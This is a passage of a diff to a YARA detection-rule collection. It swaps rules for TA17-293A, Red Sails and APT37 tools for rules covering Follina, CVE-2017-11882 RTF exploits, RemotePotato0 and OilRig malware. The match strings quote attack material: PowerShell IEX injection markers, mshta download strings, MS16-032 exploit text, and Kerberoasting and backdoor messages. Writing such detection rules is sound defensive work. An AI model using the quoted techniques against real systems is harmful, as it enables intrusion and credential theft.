-		$api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and ( uint16(0)==0x5a4d or $http_push or $http_pop)
+		filesize <400KB and 1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Query_XML_Code_MAL_DOC_PT_2 : FILE
+rule SIGNATURE_BASE_SUSP_Msdt_Artefact_Jun22_2 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "other (modified by Florian Roth)"
-		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L95-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d4c1b23aa8323fa9ddec362bb36e13e5f992883fbf7936b34cf03fe62ee6127"
+		description = "Detects suspicious pattern in msdt diagnostics log (e.g. CVE-2022-30190 / Follina exploitation)"
+		author = "Christian Burkard"
+		id = "aa2a4bd7-2094-5652-a088-f58d0c7d3f62"
+		date = "2022-06-01"
+		modified = "2022-07-29"
+		reference = "https://twitter.com/nas_bench/status/1531718490494844928"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L218-L237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e18f6405f0411128335336e65dda4ed2b6be6e9ad47b94646ececf0479fbe967"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		name = "Query_XML_Code_MAL_DOC_PT_2"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$dir1 = "word/_rels/settings.xml.rels"
-		$bytes = {8c 90 cd 4e eb 30 10 85 d7}
+		$a1 = "<ScriptError><Data id=\"ScriptName\" name=\"Script\">TS_ProgramCompatibilityWizard.ps1" ascii
+		$x1 = "/../../" ascii
+		$x2 = "$(Invoke-Expression" ascii
+		$x3 = "$(IEX(" ascii nocase
 
 	condition:
-		uint32(0)==0x04034b50 and $dir1 and $bytes
+		uint32(0)==0x6D783F3C and $a1 and 1 of ($x*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Query_XML_Code_MAL_DOC : FILE
+rule SIGNATURE_BASE_SUSP_LNK_Follina_Jun22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "other (modified by Florian Roth)"
-		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
-		date = "2023-12-05"
+		description = "Detects LNK files with suspicious Follina/CVE-2022-30190 strings"
+		author = "Paul Hager"
+		id = "d331d584-2ab3-5275-b435-6129c7291417"
+		date = "2022-06-02"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L108-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fb3a84b66554e6c286ba64046d9b18a819f81108ee965862f288637ccee816d2"
+		reference = "https://twitter.com/gossithedog/status/1531650897905950727"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L239-L257"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b63bb266b968987b2b5a83c9429e96acbd57e12178e4f5fd5894b23d1aaa237"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		name = "Query_XML_Code_MAL_DOC"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$dir = "word/_rels/" ascii
-		$dir2 = "word/theme/theme1.xml" ascii
-		$style = "word/styles.xml" ascii
+		$sa1 = "msdt.exe" ascii wide
+		$sa2 = "msdt " ascii wide
+		$sa3 = "ms-msdt:" ascii wide
+		$sb = "IT_BrowseForFile=" ascii wide
 
 	condition:
-		uint32(0)==0x04034b50 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
+		filesize <5KB and uint16(0)==0x004c and uint32(4)==0x00021401 and 1 of ($sa*) and $sb
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Query_Javascript_Decode_Function : FILE
+rule SIGNATURE_BASE_Rtf_Cve2017_11882_Ole : MALICIOUS EXPLOIT CVE_2017_11882
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "other (modified by Florian Roth)"
-		id = "bc206ab3-a86b-5abe-ae84-15abab838d4e"
+		description = "Attempts to identify the exploit CVE 2017 11882"
+		author = "John Davison"
+		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L122-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8b42c67bdcdbb7c38128d8956904baa524d155b1e6957c5c1b5bc28fd8a57e8a"
-		score = 75
-		quality = 83
-		tags = "FILE"
-		name = "Query_Javascript_Decode_Function"
+		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_11882.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51cf2a6c0c1a29abca9fd13cb22421da"
+		logic_hash = "6856d3c78cc06899d2bc1f876dce6b718513ebad80f37d7b5914a14d1da5064c"
+		score = 60
+		quality = 85
+		tags = "MALICIOUS, EXPLOIT, CVE_2017_11882"
 
 	strings:
-		$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
-		$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
-		$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
-		$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
+		$headers = { 1c 00 00 00 02 00 ?? ?? a9 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 01 01 03 ?? }
+		$font = { 0a 01 08 5a 5a }
+		$winexec = { 12 0c 43 00 }
 
 	condition:
-		filesize <20KB and all of ($decode*)
+		all of them and @font>@headers and @winexec==@font+5+44
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Hacktool_PS_1 : FILE
+rule SIGNATURE_BASE_Rtf_Cve2017_11882 : MALICIOUS EXPLOIT CVE_2017_1182
 {
 	meta:
-		description = "Auto-generated rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4b92536-fa9a-5a65-8bd6-84c037dfbdce"
-		date = "2017-10-21"
+		description = "Attempts to identify the exploit CVE 2017 11882"
+		author = "John Davison"
+		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L152-L166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a59834684cc1e7a34eeb8fb7f6cd1c414d6eab3ae58c6df763b2ec548705b371"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "72a28efb6e32e653b656ca32ccd44b3111145a695f6f6161965deebbdc437076"
+		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_11882.yar#L20-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51cf2a6c0c1a29abca9fd13cb22421da"
+		logic_hash = "37a65f086d393aae3dc88b3dd2520fff6e96b92fd6ae1be0a110f4eb826ae12d"
+		score = 60
+		quality = 81
+		tags = "MALICIOUS, EXPLOIT, CVE_2017_1182"
 
 	strings:
-		$x1 = "$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=f" ascii
-		$x2 = "} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments" fullword ascii
+		$headers = { 31 63 30 30 30 30 30 30  30 32 30 30 ?? ?? ?? ??
+                     61 39 30 30 30 30 30 30  ?? ?? ?? ?? ?? ?? ?? ??
+                     ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ??
+                     ?? ?? ?? ?? ?? ?? ?? ??  30 33 30 31 30 31 30 33
+                     ?? ?? }
+		$font = { 30 61 30 31 30 38 35 61  35 61 }
+		$winexec = { 31 32 30 63 34 33 30 30 }
 
 	condition:
-		( filesize <80KB and 1 of them )
+		all of them and @font>@headers and @winexec==@font+((5+44)*2)
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Hacktool_Touch_MAC_Modification : FILE
+rule SIGNATURE_BASE_Packager_Cve2017_11882 : CVE_2017_11882 FILE
 {
 	meta:
-		description = "Auto-generated rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "69240cc0-a04e-544a-b7e3-c5a08c062055"
-		date = "2017-10-21"
+		description = "Attempts to exploit CVE-2017-11882 using Packager"
+		author = "Rich Warren"
+		id = "57ff395e-e56a-5e63-bde6-f3cef038fcd6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L168-L184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f4c6b653d1b6f4427c6582513d3c19cb8d580e669260a1afda01eecf8ce3bfc"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "070d7082a5abe1112615877214ec82241fd17e5bd465e24d794a470f699af88e"
+		reference = "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_11882.yar#L41-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94e0c70e8140bb7fa3d184447617b534a8b9a24cdad535e6818be9662f0b9144"
+		score = 60
+		quality = 79
+		tags = "CVE-2017-11882, FILE"
 
 	strings:
-		$s1 = "-t time - use the time specified to update the access and modification times" fullword ascii
-		$s2 = "Failed to set file times for %s. Error: %x" fullword ascii
-		$s3 = "touch [-acm][ -r ref_file | -t time] file..." fullword ascii
-		$s4 = "-m - change the modification time only" fullword ascii
+		$font = { 30 61 30 31 30 38 35 61  35 61 }
+		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
+		$package = { 50 61 63 6b 61 67 65 }
+		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{108}00/ ascii nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint32be(0)==0x7B5C7274 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Hacktool_Exploit_MS16_032 : FILE
+rule SIGNATURE_BASE_CVE_2017_11882_RTF : CVE_2017_11882 FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4c5838d7-9956-564e-a25c-f2ba5641ac03"
-		date = "2017-10-21"
+		id = "400689ff-e856-5cbf-a7fa-93f6a8d8dbb9"
+		date = "2018-02-13"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L186-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f0bd4f8ae1e9689f111233ca8fdb9a9b6c20e526f22350c8204f64a54639dcd"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_11882.yar#L58-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "729fa8215a24990371369158d4582cc0ba9387eb0e7221860bf7216046c447cb"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2017-11882, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9b97290300abb68fb48480718e6318ee2cdd4f099aa6438010fb2f44803e0b58"
-
-	strings:
-		$x1 = "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread)))" ascii
-		$x2 = "0x00000002, \"C:\\Windows\\System32\\cmd.exe\", \"\"," fullword ascii
-		$x3 = "PowerShell implementation of MS16-032. The exploit targets all vulnerable" fullword ascii
-		$x4 = "If we can't open the process token it's a SYSTEM shell!" fullword ascii
+
+	strings:
+		$x1 = "4d534854412e4558452068747470"
+		$x2 = "6d736874612e6578652068747470"
+		$x3 = "6d736874612068747470"
+		$x4 = "4d534854412068747470"
+		$s1 = "4d6963726f736f6674204571756174696f6e20332e30" ascii
+		$s2 = "4500710075006100740069006f006e0020004e00610074006900760065" ascii
+		$s3 = "2e687461000000000000000000000000000000000000000000000"
 
 	condition:
-		( filesize <40KB and 1 of them )
+		( uint32be(0)==0x7B5C7274 or uint32be(0)==0x7B5C2A5C) and filesize <300KB and (1 of ($x*) or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Imphash_UPX_Packed_Malware_1_TA17_293A : FILE
+rule SIGNATURE_BASE_EXP_Potential_CVE_2017_11882 : FILE
 {
 	meta:
-		description = "Detects malware based on Imphash of malware used in TA17-293A"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3ff28f06-8b69-5e8f-ab45-dfa4f6e69812"
-		date = "2017-10-21"
+		description = "No description has been set in the source file - Signature Base"
+		author = "ReversingLabs"
+		id = "199710e0-5094-5940-ad29-f01383d5d8c2"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L206-L217"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "398ccbd5e492fb1efa80dc07900ef77611c4b5bab95f715fce7b5dbeb0aff49d"
+		reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_11882.yar#L82-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea28010c4de86ce94537f6ab0892f6b9e28b0c775706e38bde20f48bf968d58f"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a278256fbf2f061cfded7fdd58feded6765fade730374c508adad89282f67d77"
+
+	strings:
+		$docfilemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+		$equation1 = "Equation Native" wide ascii
+		$equation2 = "Microsoft Equation 3.0" wide ascii
+		$mshta = "mshta"
+		$http = "http://"
+		$https = "https://"
+		$cmd = "cmd" fullword
+		$pwsh = "powershell"
+		$exe = ".exe"
+		$address = { 12 0C 43 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="d7d745ea39c8c5b82d5e153d3313096c")
+		uint16(0)==0xcfd0 and $docfilemagic at 0 and any of ($mshta,$http,$https,$cmd,$pwsh,$exe) and any of ($equation1,$equation2) and $address
 }
-import "pe"
-
-rule SIGNATURE_BASE_Imphash_Malware_2_TA17_293A : HIGHVOL FILE
+rule SIGNATURE_BASE_HKTL_Sentinelone_Remotepotato0_Privesc : FILE
 {
 	meta:
-		description = "Detects malware based on Imphash of malware used in TA17-293A"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5c9f32a3-8c50-5d46-929b-bbe14697540e"
-		date = "2017-10-21"
+		description = "Detects RemotePotato0 binary"
+		author = "SentinelOne"
+		id = "f6dffd6b-e794-5c4a-9700-5c2022168f44"
+		date = "2021-04-26"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L219-L229"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f91c07a9cc65c31eb9fd09bdd2752bc285c5a4b118ffe647391f7d187765de4"
+		reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_remote_potato0.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f3a3a917908af6260f40b217f966750a095140abb6bf85cf3a728725bc16996f"
 		score = 75
-		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 79
+		tags = "FILE"
+
+	strings:
+		$import1 = "CoGetInstanceFromIStorage"
+		$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
+		$meow_header = { 4d 45 4f 57 }
+		$clsid1 = "{11111111-2222-3333-4444-555555555555}" wide ascii
+		$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="a8f69eb2cf9f30ea96961c86b4347282")
+		( uint16(0)==0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
 }
-rule SIGNATURE_BASE_Redsails_EXE : FILE
+rule SIGNATURE_BASE_Chafer_Mimikatz_Custom : FILE
 {
 	meta:
-		description = "Detects Red Sails Hacktool by WinDivert references"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e7ebbebf-e2d6-5cd3-b859-b804d39d1641"
-		date = "2017-10-02"
+		description = "Detects Custom Mimikatz Version"
+		author = "Florian Roth (Nextron Systems) / Markus Neis"
+		id = "80f751c3-d7ca-5ff6-a905-38650e1c4ec5"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/BeetleChunks/redsails"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_redsails.yar#L11-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fe9232989fb29686f11ee8cd59090fb6602301b00ff12d4a0dff8279a1718086"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L11-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d3b74be6d221592fb867bd9589f5e4b246a093bd276efa3515d9e948a38eda48"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a7861d25b0c038d77838ecbd5ea5674650ad4f5faf7432a6f3cfeb427433fac"
+		hash1 = "9709afeb76532566ee3029ecffc76df970a60813bcac863080cc952ad512b023"
 
 	strings:
-		$s1 = "bWinDivert64.dll" fullword ascii
-		$s2 = "bWinDivert32.dll" fullword ascii
+		$x1 = "C:\\Users\\win7p\\Documents\\mi-back\\" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <6000KB and all of them )
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_Redsails_PY
+rule SIGNATURE_BASE_Chafer_Exploit_Copyright_2017 : FILE
 {
 	meta:
-		description = "Detects Red Sails Hacktool - Python"
-		author = "Florian Roth (Nextron Systems)"
-		id = "59d5e784-70ff-5061-9867-54c905ecfd8c"
-		date = "2017-10-02"
+		description = "Detects Oilrig Internet Server Extension with Copyright (C) 2017 Exploit"
+		author = "Markus Neis"
+		id = "f78ae4f5-0569-5fc8-ab25-ebe38afd9f3c"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/BeetleChunks/redsails"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_redsails.yar#L27-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c5426a427e2c25cf9e44ae5f9ec477c9ab11f611d9a0db444c36e7cae176562"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L25-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "53d3e735bc368de152f4f4058617bc2cc5574bc13777f743442ff2bfafe92791"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6ebedff41992b9536fe9b1b704a29c8c1d1550b00e14055e3c6376f75e462661"
-		hash2 = "5ec20cb99030f48ba512cbc7998b943bebe49396b20cf578c26debbf14176e5e"
+		tags = "FILE"
+		hash1 = "cdac69caad8891c5e1b8eabe598c869674dee30af448ce4e801a90eb79973c66"
 
 	strings:
-		$x1 = "Gained command shell on host" fullword ascii
-		$x2 = "[!] Received an ERROR in shell()" fullword ascii
-		$x3 = "Target IP address with backdoor installed" fullword ascii
-		$x4 = "Open backdoor port on target machine" fullword ascii
-		$x5 = "Backdoor port to open on victim machine" fullword ascii
+		$x1 = "test3 Internet Server Extension" fullword wide
+		$x2 = "Copyright (C) 2017 Exploit" fullword wide
+		$a1 = "popen() failed!" fullword ascii
+		$a2 = "cmd2cmd=" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or all of ($a*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_Smb_Scanner : FILE
+rule SIGNATURE_BASE_Chafer_Portscanner : FILE
 {
 	meta:
-		description = "Unknown smb login scanner used by APT37"
-		author = "Marc Stroebel"
-		id = "89a5cc32-f151-583d-823d-692de2c2b084"
-		date = "2020-12-15"
+		description = "Detects Custom Portscanner used by Oilrig"
+		author = "Markus Neis"
+		id = "8db934c3-fb0d-5c87-9096-1ee8fb16f9a5"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://www.hybrid-analysis.com/sample/d16163526242508d6961f061aaffe3ae5321bd64d8ceb6b2788f1570757595fc?environmentId=2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L2-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bea71db7052f1c22c01cfbf710d4ed24651cbbd8b0fd29f09dfd49c4e314028"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L45-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e0475a5c0fc8155359376113f88f3de080968388bd3ea60664a063540688faf"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "88274a68a6e07bdc53171641e7349d6d0c71670bd347f11dcc83306fe06656e9"
 
 	strings:
-		$s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
-		$s2 = "%s - %s:(Username - %s / Password - %s" fullword ascii
-		$s3 = "Load mpr.dll Error " fullword ascii
-		$s4 = "Load Netapi32.dll Error " fullword ascii
-		$s5 = "%s U/P not Correct! - %d" fullword ascii
-		$s6 = "GetNetWorkInfo Version 1.0" fullword wide
-		$s7 = "Hello World!" fullword wide
-		$s8 = "%s Error: %ld" fullword ascii
-		$s9 = "%s U/P Correct!" fullword ascii
-		$s10 = "%s --------" fullword ascii
-		$s11 = "%s%-30s%I64d" fullword ascii
-		$s12 = "%s%-30s(DIR)" fullword ascii
-		$s13 = "%04d-%02d-%02d %02d:%02d" fullword ascii
-		$s14 = "Share:              Local Path:                   Uses:   Descriptor:" fullword ascii
-		$s15 = "Share:              Type:                   Remark:" fullword ascii
+		$x1 = "C:\\Users\\RS01204N\\Documents\\" ascii
+		$x2 = "PortScanner /ip:google.com  /port:80 /t:500 /tout:2" fullword ascii
+		$x3 = "open ports of host/hosts" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (10 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_Cred_Tool : FILE
+rule SIGNATURE_BASE_Oilrig_Myrtille : FILE
 {
 	meta:
-		description = "Unknown cred tool used by APT37"
-		author = "Markus Poelloth"
-		id = "e830025a-f2ac-55b1-aca3-ded9dba83a67"
-		date = "2020-12-15"
-		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L31-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fb7247b88f2d252e7c9d5034c209945bc9e17f49de3dcdb5bf50b5afb302987"
+		description = "Detects Oilrig Myrtille RDP Browser"
